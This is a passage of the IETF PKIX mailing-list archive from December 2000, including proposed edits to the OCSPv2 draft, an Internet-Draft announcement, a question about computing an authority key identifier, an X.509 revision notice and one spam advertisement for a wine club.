	by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA05029;
	Sun, 3 Dec 2000 13:48:01 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 13:47:19 -0800
Received: from corp.tivoli.com (corp.tivoli.com [216.140.178.60])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA04982
	for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 13:47:17 -0800 (PST)
From: Mark_Vandenwauver@tivoli.com
Received: from schub.tivoli.com (schub.tivoli.com [146.84.104.17])
	by corp.tivoli.com (8.9.3/8.9.0) with ESMTP id PAA16027;
	Sun, 3 Dec 2000 15:49:02 -0600 (CST)
Importance: Normal
Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates
 simultaneously
To: Ed Gerck <egerck@nma.com>
Cc: Peter Lipp <plippml@iaik.at>, Ed Gerck <egerck@nma.com>,
        Anders Rundgren <anders.rundgren@telia.com>,
        PKIX-List <ietf-pkix@imc.org>
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF19FEE38F.2DE67733-ON862569AA.00779C50@tivoli.com>
Date: Sun, 3 Dec 2000 15:48:57 -0600
X-MIMETrack: Serialize by Router on SCHub/Tivoli Systems(Release 5.0.4a |July 24, 2000) at
 12/03/2000 03:48:10 PM
MIME-Version: 1.0
Content-type: text/plain; charset=big5
X-MIME-Autoconverted: from base64 to 8bit by ns.secondary.com id NAA04983
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id NAA05029
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA17635

Ed et all,

Details can be found at
http://csrc.nist.gov/encryption/aes/modes/jutla-auth.pdf

Regards,

Mark

Mark Vandenwauver, PhD
Senior Security Architect
Tivoli e-Zone Solutions Designs and Customer Projects

Bridgepoint III
6300 BridgePoint Parkway
Building III - Office A5004
Austin, Tx 78731

e-mail: Mark_Vandenwauver@tivoli.com
WWW: http://www.tivoli.com/security
Telephone: +1(512)436-1585
Fax: +1(512)436-1199

Tivoli - an IBM division


Ed Gerck <egerck@nma.com> on 12/03/2000 10:38:51 AM

To:   Peter Lipp <plippml@iaik.at>
cc:   Ed Gerck <egerck@nma.com>, Anders Rundgren
      <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org> (bcc: Mark
      Vandenwauver/Tivoli Systems)
Subject:  Re: AW: not first, Re: New IBM algorithm encrypts and
      authenticates   simultaneously





Peter Lipp wrote:

> >It is not true that IBM's was the first algorithm to simultaneously
> >encrypt and certify information.
>
> All they claim is they were the first doing it in half the time :-)

Yes, you can read the first phrase this way too -- whatever half the time
is ;-)
But in the news piece you read: "By combining the two steps, this security
algorithm will help accelerate e-business processes throughout the
industry.” "

So, the key issue here is "combining the two steps". It is a very important
development by IBM.

This IBM announcement is important (and thanks to Anders for copying
it here) because it may be another drive, and a strong one, to look into
certification models that can provide (fro example) non-repudiation by
including
encrypted secrets that require the cooperation of the certificate holder in
order to
be revealed. These models may also need to  interface/interoperate with
PKIX
as they advance.

> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
>
> Is there any pointer to a more technical description of that?

I did not find any further info on IBM's algorithm but maybe Tom Gindin
or someone from IBM in this list might be able to help?

Cheers,

Ed Gerck



From owner-ietf-pkix@imc.org  Mon Dec  4 03:47:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA17999
	for <pkix-archive@odin.ietf.org>; Mon, 4 Dec 2000 03:47:43 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA13161;
	Mon, 4 Dec 2000 00:45:14 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 00:45:03 -0800
Received: from gatekeeper.itsec-debis.de ([195.227.50.6])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA13107
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 00:45:01 -0800 (PST)
Received: from gatekeeper (gatekeeper [192.168.2.1] (may be forged))
	by gatekeeper.itsec-debis.de (8.8.8+Sun/8.8.8) with SMTP id JAA01453
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 09:49:31 +0100 (MET)
Received: by itsec-debis.de id KAA06852; Mon, 4 Dec 2000 10:08:05 +0100
Message-ID: <3A2B5BE6.F673C596@debis.com>
Date: Mon, 04 Dec 2000 09:55:02 +0100
From: "Dr. Johannes Ueberberg" <j.ueberberg@debis.com>
Organization: debis Systemhaus Information Security Services GmbH
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Unsubscribe
Content-Type: multipart/mixed;
 boundary="------------5D5DF4FF004223124BA17E13"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.
--------------5D5DF4FF004223124BA17E13
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852
Content-Transfer-Encoding: quoted-printable



--
***********************************************************************

    Dr. Johannes Ueberberg

    debis IT Security Services
    Windeckstra=DFe 5
    D-53111 Bonn

    Tel:       +49 (0)228 9841 513
    Fax:       +49 (0)228 9841 881
    E-mail:    j.ueberberg@debis.com
    Internet:  www.itsec-debis.de

************************************************************************



--------------5D5DF4FF004223124BA17E13
Content-Type: text/x-vcard; charset=us-ascii;
 name="j.ueberberg.vcf"
Content-Description: Card for Dr. Johannes Ueberberg
Content-Disposition: attachment;
 filename="j.ueberberg.vcf"
X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852
Content-Transfer-Encoding: quoted-printable

begin:vcard=20
n:Ueberberg;Johannes
tel;fax:++49 (0) 228 9841 60
tel;work:++49 (0) 228 9841 513
x-mozilla-html:FALSE
url:www.itsec-debis.de
org:debis IT Security Services
adr:;;Rabinstra=DFe 8;D-53111 Bonn;Germany;;
version:2.1
email;internet:j.ueberberg@debis.com
title:Dr. Johannes Ueberberg
fn:Dr. Johannes Ueberberg
end:vcard

--------------5D5DF4FF004223124BA17E13--



From owner-ietf-pkix@imc.org  Mon Dec  4 06:46:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16922
	for <pkix-archive@odin.ietf.org>; Mon, 4 Dec 2000 06:46:34 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA06960;
	Mon, 4 Dec 2000 03:41:57 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 03:41:45 -0800
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA06911
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 03:41:43 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15931;
	Mon, 4 Dec 2000 06:43:37 -0500 (EST)
Message-Id: <200012041143.GAA15931@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ietf-pkix@imc.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-pkix-cmp-transport-protocols-03.txt
Date: Mon, 04 Dec 2000 06:43:36 -0500
Sender: nsyracus@cnri.reston.va.us
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Transport Protocols for CMP
	Author(s)	: A. Kapoor, R. Tschalar
	Filename	: draft-ietf-pkix-cmp-transport-protocols-03.txt
	Pages		: 
	Date		: 01-Dec-00
	
This document describes how to layer Certificate Management
Protocols [CMP] over various transport protocols.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-cmp-transport-protocols-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001201132116.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-cmp-transport-protocols-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001201132116.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-ietf-pkix@imc.org  Mon Dec  4 15:55:07 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA26670
	for <pkix-archive@odin.ietf.org>; Mon, 4 Dec 2000 15:55:06 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA23813;
	Mon, 4 Dec 2000 12:52:17 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 12:52:00 -0800
Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA23763
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 12:51:58 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102])
        by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id MAA16486
        for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 12:55:33 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <YBYX51C1>; Mon, 4 Dec 2000 12:53:55 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: ietf-pkix@imc.org
Subject: Proposed edits to OCSPv2 -01
Date: Mon, 4 Dec 2000 12:53:54 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Denis, all:

Here's a bit of a longish note proposing some edits to
draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call.

In summary:

1. Change "good" to "not revoked"; add "valid", "invalid",
   "suspended" and "expired" states; add corresponding semantic
   and normative text.

2. Add unsupportedOption and unrecognizedIdentifer to error cases.

3. Add normative text regarding the use of CRLs.

In the case of the "good" vs. "not revoked" revision, the bits on the wire
don't change, nor is there any essential change in semantics.  In effect,
all that's changing is the abstract symbol.  The only hit might be to
environments that are using "good" to mean "valid" in the delegated path
validation sense.  I doubt anyone's doing that, but if you are and this
change hits you, please let us know.  Otherwise, all you're going to have is
some source that uses "good" as a compile-time symbol  while the new
standard says "not revoked" but once the compile is done the corresponding
ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor
are there any fundamental semantic changes.  Also, the new values will go on
the end of the end of the CertStatus choice with tag numbers > [2] so
there's no hit there either for v1 environments.  Same for the new error
conditions, which are only v2-relevant.

One other thing.  Many environments use a sequence of "revoked" and "not
revoked" to achieve a suspension effect.  Those who do so should take care
to read and comment on the new text "2.8 Use of CRLs" located at the end of
this note, especially given the proposal for a unique "suspended" response
value.

With regards to all,

Mike


2.2  Response
-------------
CURRENT -01 TEXT
   OCSP responses can be of various types.  An OCSP response consists of
   a response type and the bytes of the actual response. There is one
   basic type of OCSP response that MUST be supported by all OCSP
   servers and clients. The rest of this section pertains only to this
   basic response type.

PROPOSED -02 TEXT
   OCSP responses can be of various types, corresponding to various
   services.  An OCSP response consists of a response type and the
   bytes of the actual response. This document defines one standard
   response syntax, BasicOCSPResponse, and one standard service,
   id-pkix-ocsp-basic (see Section 4.2.1).

   The BasicOCSPResponse syntax MAY be used for other OCSP services
   not defined in this document.  However, the id-pkix-ocsp-basic
   service identifier SHALL only be used to report on the revocation
   status of a certificate (i.e. "revocation service").

   OCSP servers SHALL be capable of supporting revocation service.
   Environments that deploy OCSP for services other than revocation
   service are NOT required to activate the revocation service feature
   of their OCSP servers.


CURRENT -01 TEXT
   A basic response message is composed of:

PROPOSED -02 TEXT
   The BasicOCSPResponse syntax is composed of:


CURRENT -01 TEXT
   This specification defines the following definitive response
   indicators for use in the certificate status value:

   -- good
   -- revoked
   -- unknown

   The "good" state indicates a positive response to the status inquiry.
   When used in in a basic response, this positive response value indicates
   that the responder has current revocation information from the CA tha
   issued the certificate and that the certificate is not revoked, but does
   not necessarily mean that the certificate was ever issued or that the
time
   at which the response was produced is within the certificate's validity
   interval. Other response types or response extensions may be used to
convey
   additional information on assertions made by the responder regarding the
   status of the certificate such as positive statement about issuance,
validity, etc.

   The "revoked" state indicates that the certificate has been revoked
   (either permanantly or temporarily (on hold)).

   The "unknown" state indicates that the responder doesn't know about
   the certificate being requested.

PROPOSED -02 TEXT
   This specification defines the following definitive status
   values for use in BasicOCSPResponse:

   -- not revoked
   -- revoked
   -- unknown
   -- valid
   -- invalid
   -- suspended
   -- expired

   The "not revoked" value SHALL be used to indicate that the responder
   has current revocation information from the CA that issued the
   certificate and that that information indicates that the certificate
   is not revoked. The "not revoked" value MAY be returned for a previously
   revoked certificate that has expired as defined below.

   The "revoked" value SHALL be used to indicate that the revocation
   information currently available to the responder identifies the
   certificate as in that state.  The "not revoked" value MAY be returned
   for a previously revoked certificate that has expired as defined below.
   The "revoked" value MAY be returned for a previously-revoked certificate
   whose notAfter validity field has expired as defined below.

   The "unknown" value SHALL be used to indicate that the responder does
   not recognize the certificate as being among those for which it is
   authoritative.  When used in conjunction with id-pkix-ocsp-basic,
   "unknown" SHALL be interpreted as revocation status unknown.

   The "valid" value SHALL be used to indicate that the certificate
   at a minimum satisifes the path validation logic defined in RFC 2459.
   Correspondingly, the "invalid" value SHALL be used to indicate that
   the certificate at a minimum fails to satisfy RFC 2459 path validation
   rules.  Environments with a need to use these values MAY define service
   identifiers(i.e. OIDS) that uniquely identify the full set of practices
   and policies undertaken to confirm a certificate's validity within their
   environment.  Such practices and policies MAY include an assessment of
   the certificate's suitability for a given purpose or function in excess
   of the required compliance to RFC2459 path validation rules.

   The "valid" and "invalid" values SHALL NOT be returned in a
   id-pkix-ocsp-basic response.

   The "suspended" value SHALL be used to indicate that the responder
   has current information from the CA named in the certificate indicating
   that the certificate is suspended but not yet permanently revoked.
   OCSP responders MAY use a well-ordered sequence of "revoked" and
   "not revoked" responses to achieve the same effect.  The "suspended"
   value MAY be returned for certificate that has expired as defined below.

   The "expired" value SHALL be used to indicate that the responder has
   confirmed on the basis of its (the responder's) time base that the
   notAfter value in the certificate's Validity field is less than the
   current time as indicated by the responder's time base. Requirements
   governing the reliability of a responder's time base is beyond the
   scope of this specification.


2.3  Exception Cases
--------------------
CURRENT -01 TEXT
   -- malformedRequest
   -- internalError
   -- tryLater
   -- sigRequired
   -- unauthorized
   -- noMoreData

PROPOSED -02 TEXT
   -- malformedRequest
   -- internalError
   -- tryLater
   -- sigRequired
   -- unauthorized
   -- noMoreData
   -- unsupportedOption
   -- unrecognizedIdentifier

   "unsupportedOption" indicates that the responder recognizes
   the syntax of the request but does not support or is not being
   operated to support one or more service options specified in
   the request.  If the request is v1, the responder SHALL return
   "malformedRequest" rather than "unsupportedOption".

   "unrecognizedIdentifier" indicates that the responder cannot
   identify the certificate using the certificate identifier supplied
   in the request.  If the request is v1, the responder SHALL return
   "malformedRequest" rather than "unrecognizedIdentifier".

CURRENT -01 TEXT
   A server produces the "malformedRequest" response if the request
   received does not conform to the OCSP syntax.
                                    ^^^^

PROPOSED -02 TEXT
   A server produces the "malformedRequest" response if the request
   received does not conform to the required syntax.
                                    ^^^^^^^^


2.5  Response Pre-production
CURRENT -01 TEXT
   The time at or before which newer information will be available
   is reflected in the nextUpdate field, while the time at which
   ^^^^^^^^^^^^
   the response was produced will appear in the producedAt field
                             ^^^^
   of the response.

PROPOSED -02 TEXT
   The time at or before which newer information will be available
   SHALL appear in the nextUpdate field, while the time at which
   ^^^^^^^^^^^^
   the response was produced SHALL appear in the producedAt field
                             ^^^^^
   of the response.


2.6  OCSP Signature Authority Delegation
----------------------------------------
CURRENT -01 TEXT
   A certificate's issuer explicitly delegates OCSP signing authority
                          ^^^^^^^^^^         ^

PROPOSED -02 TEXT
   A certificate's issuer MAY explicitly delegate OCSP signing authority
                          ^^^
  
2.8  Use of CRLs  (new section)
PROPOSED -02 TEXT

   An id-pkix-ocsp-basic response MAY be produced using a data source other
   than CRLs.  Environments providing both id-pkix-ocsp-basic service and
   CRL maintenance service SHOULD ensure that both are synchronized with
   respect to the values of "revoked" and "not revoked" for certificates
   that are simultaneously subject to both services.  Such environments
   MAY exclude from the corresponding CRL certificates for which the value
   of "suspended" would be returned in their id-pkix-ocsp-basic service.

   [Notes to reviewers of this new section.  The essential issues are these:

      1. OCSP does not now nor ever has *required* the use of CRLs although
         the practice is known to be useful in some environments.  This
         clearly needs to be better spelled out since it continues to come
up.

      2. Where CRLs *are* relevant, a degree of synchronicity is vital.  A
         situation where, for example, there exists a "not revoked" OCSP
         response in the presence of a CRL listing a certificate is clearly
         a bad thing (or a good thing if you're a lawyer representing a
         party seeking remedy.)

      3. Suspension is a PITA with CRLs but easy with OCSP.  Since OCSP
revocation
         service isn't intrinsically linked to CRLs, we need to ensure that
we
         avoid creating a situation where the only reason to implement
CRL-based
         suspension is to deliver "suspended" responses.  If that situation
were
         to obtain, it's a sure bet there'd be very few if any "suspended"
         responses being exchanged across the Internet.  We'd all be back to
         the revoked/not revoked hack.]


From owner-ietf-pkix@imc.org  Mon Dec  4 18:20:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14116
	for <pkix-archive@odin.ietf.org>; Mon, 4 Dec 2000 18:20:12 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA03061;
	Mon, 4 Dec 2000 15:17:16 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 15:16:22 -0800
Received: from mail.winealley.com (IDENT:qmailr@mail.winealley.com [194.3.190.130])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA02965
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 15:16:20 -0800 (PST)
From: francois.xavier.bodin@winealley.com
Message-Id: <200012042316.PAA02965@ns.secondary.com>
Received: (qmail 30657 invoked from network); 4 Dec 2000 23:18:17 -0000
Received: from mail.winealley.com (HELO localhost) (chins@194.3.190.130)
  by mail.winealley.com with SMTP; 4 Dec 2000 23:18:17 -0000
Subject: Meet us on Wine Alley
Content-type: text/plain; charset="iso-8859-1"
Mime-version: 1.0
To: ietf-pkix@imc.org
Date: Tue, 5 Dec 2000 00:18 +0100
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA02966
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA03061
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA14116

Hello!

I found your address on a site about wine, food and good living. I thought that you will be interested by the services that our site offers.

www.wine-alley.com is a virtual Club for all those interested in wine in both a professional and personal capacity.

We now have more than 3900 members, both amateur and in the trade who use our site to discuss wine, buy and sell it and tell us about the best sources.

Club members use the Newsgroup of www.wine-alley.com to exchange information and experiences.  Only the other day someone asked how much a certain rare wine was worth, I asked for more information about the grape variety, which doesn't grow in France. Currently there have been more than 711 questions and replies.

There is also the small ads. column.

Among the 6 adverts placed this week there have been some really good deals including a magnum of 1945 Pichon Lalande and a 1947 Cheval blanc!

Let me make it clear - www.wine-alley.com itself does not sell or buy wine: we simply offer our members the facilites for making their own arrangements.

www.wine-alley.com is also a site supplying information in real time, particularly the latest news from winegrowers and makers via the French Press Agency (AFP).  We also have a database of more than 21,000 wines with information supplied directly to the site by winegrowers co-operatives and specialist magazines.

I should be delighted if you would come and join us.  At www.wine-alley.com you will find similarly-minded people who just want to share their love of wine.

Kind regards

François Xavier Bodin, Manager of the Online Club
fx.bodin@winealley.com



PS.  Registering with the www.wine-alley.com club is absolutely free and commits you to nothing.

If you are not interested in my offer, please excuse this letter; I am sorry to have bothered you.  To prevent further unwanted intrusions please click on the following link, your email will be automatically removed from our list.

http://www.wine-alley.com/wines/desmail.asp?id=291663&l=uk


From owner-ietf-pkix@imc.org  Tue Dec  5 01:05:08 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03684
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 01:05:08 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA17367;
	Mon, 4 Dec 2000 22:01:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 22:01:03 -0800
Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA17335
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 22:01:02 -0800 (PST)
Received: from [38.29.124.117] (ip117.phoenix12.az.pub-ip.psi.net [38.29.124.117])
	by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id BAA15439;
	Tue, 5 Dec 2000 01:01:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: hoytkesterson@mail.earthlink.net
Message-Id: <a05001900b6522f68b2c2@[38.29.122.174]>
Date: Mon, 4 Dec 2000 22:59:34 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <hoytkesterson@earthlink.net>
Subject: New work begining on X.509
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

hello all

With the upcoming publication of the 4th edition of X.509, the 
directory group has begun preparing for the fifth edition. That 
edition will include the fixes for defects resolved over the next few 
years as well as needed enhancements. A working document (WD) was 
prepared at our recent meeting in November in Orlando.

We are seeking comments on, and contributions to, the next revision 
of this WD. Our next meeting is in Geneva 29 January through 
Groundhog Day (2 February - where we hope not to repeat Bill Murray's 
experiences) 2001.

Sharon Boeyen of Canada is continuing as editor with Hirosato Tsuji 
of Japan responsible for some portions of the document

The WD in Office 98 and PDF formats can be found at

ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.doc

ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.pdf

    hoyt


From owner-ietf-pkix@imc.org  Tue Dec  5 02:55:53 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA20648
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 02:55:52 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA28828;
	Mon, 4 Dec 2000 23:53:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 23:53:15 -0800
Received: from sina.com ([202.106.187.167])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA28748
	for <ietf-pkix@imc.org>; Mon, 4 Dec 2000 23:53:05 -0800 (PST)
Received: (qmail 22377 invoked by uid 99); 5 Dec 2000 07:55:11 -0000
Message-ID: <20001205075511.22376.qmail@sina.com>
From: pki_wby_cn <pki_wby_cn@sina.com>
To: ietf-pkix@imc.org
Subject: Who can help me?
Date: Tue Dec  5 07:55:10 2000
X-Mailer: SinaMail 3.0Beta (FireToad)
X-Priority: 3
Content-Type: multipart/mixed;
  boundary="----------97600291022223SINAEMAIL---"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------------97600291022223SINAEMAIL---
Content-Disposition: inline
Content-Type: text/plain;charset="gb2312"
Content-Transfer-Encoding: binary

hello, all:

In rfc2459, there are two methods to calculate authority key identifier:
(1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey
    (excluding the tag,length,and number of unused bits)
(2) a four bit type field with the value 0100 followed by the least 
    significant 60 bits of SHA-1 hash of the value of the BIT STRING
    subjectPublicKey

Here is the public key of a thawte CA cert
(the attchment contain this public key) :
	3081 8902 8181 00B3 695A 
	97D4 D016 0B7A B5C5 5DE9 
	219C 2372 CD12 4C4B F77E 
	CFC7 FBCA 7224 F442 52AC 
	5795 E37B 617A 1784 E7FD 
	7239 3894 B4EA ED65 A792 
	065E BDE0 65F6 19BB 9479 
	764C 3EB9 6870 7584 1CF4 
	1174 00BC 052C 4F09 0317 
	31CC F441 D472 C6A6 5DE2 
	8844 B08B 2EC4 4DF1 F0D6 
	853E 6CF3 9594 7891 7E40 
	E99C D18D 1557 8EC2 73E5 
	30DE 46F5 4F02 0301 0001

In the user certificate, the authority key identifier is :
	88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C

I calculate according the first method, but got the result:
	4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please tell me why I cannot got the correct result ????????
______________________________________


------------97600291022223SINAEMAIL---
Content-Disposition: inline;filename="pubkey.der"
Content-Type: application/x-msdownload; name="pubkey.der"
Content-Transfer-Encoding: base64

MIGJAoGBALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeSBl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzzlZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAE=

------------97600291022223SINAEMAIL-----
===================================================================
PB@KCb7Q5gWSSJOd http://mail.sina.com.cn
PB@KMF3v0BTK6LPEO"JV;z5c2%7~Nq 
http://sms.sina.com.cn/


From owner-ietf-pkix@imc.org  Tue Dec  5 05:08:33 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA20959
	for <pkix-archive@odin.ietf.org>; Tue, 5 Dec 2000 05:08:33 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA17166;
	Tue, 5 Dec 2000 02:05:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 02:05:39 -0800
Received: from berit.xware.se (xware.se [195.43.225.34])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA17125
	for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 02:05:38 -0800 (PST)
Received: from matsburk.xware.se by berit.xware.se (8.8.0/8.8.0) with ESMTP id LAA25427 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 11:08:37 +0100
Message-Id: <4.3.2.7.2.20001205110115.00bb56e0@berit.xware.se>
X-Sender: mats@berit.xware.se
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 05 Dec 2000 11:05:34 +0100
To: PKIX-List <ietf-pkix@imc.org>
From: Mats Nilsson <mats.nilsson@xware.se>
Subject: Comments on draft-ietf-pkix-new-part1-03
In-Reply-To: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
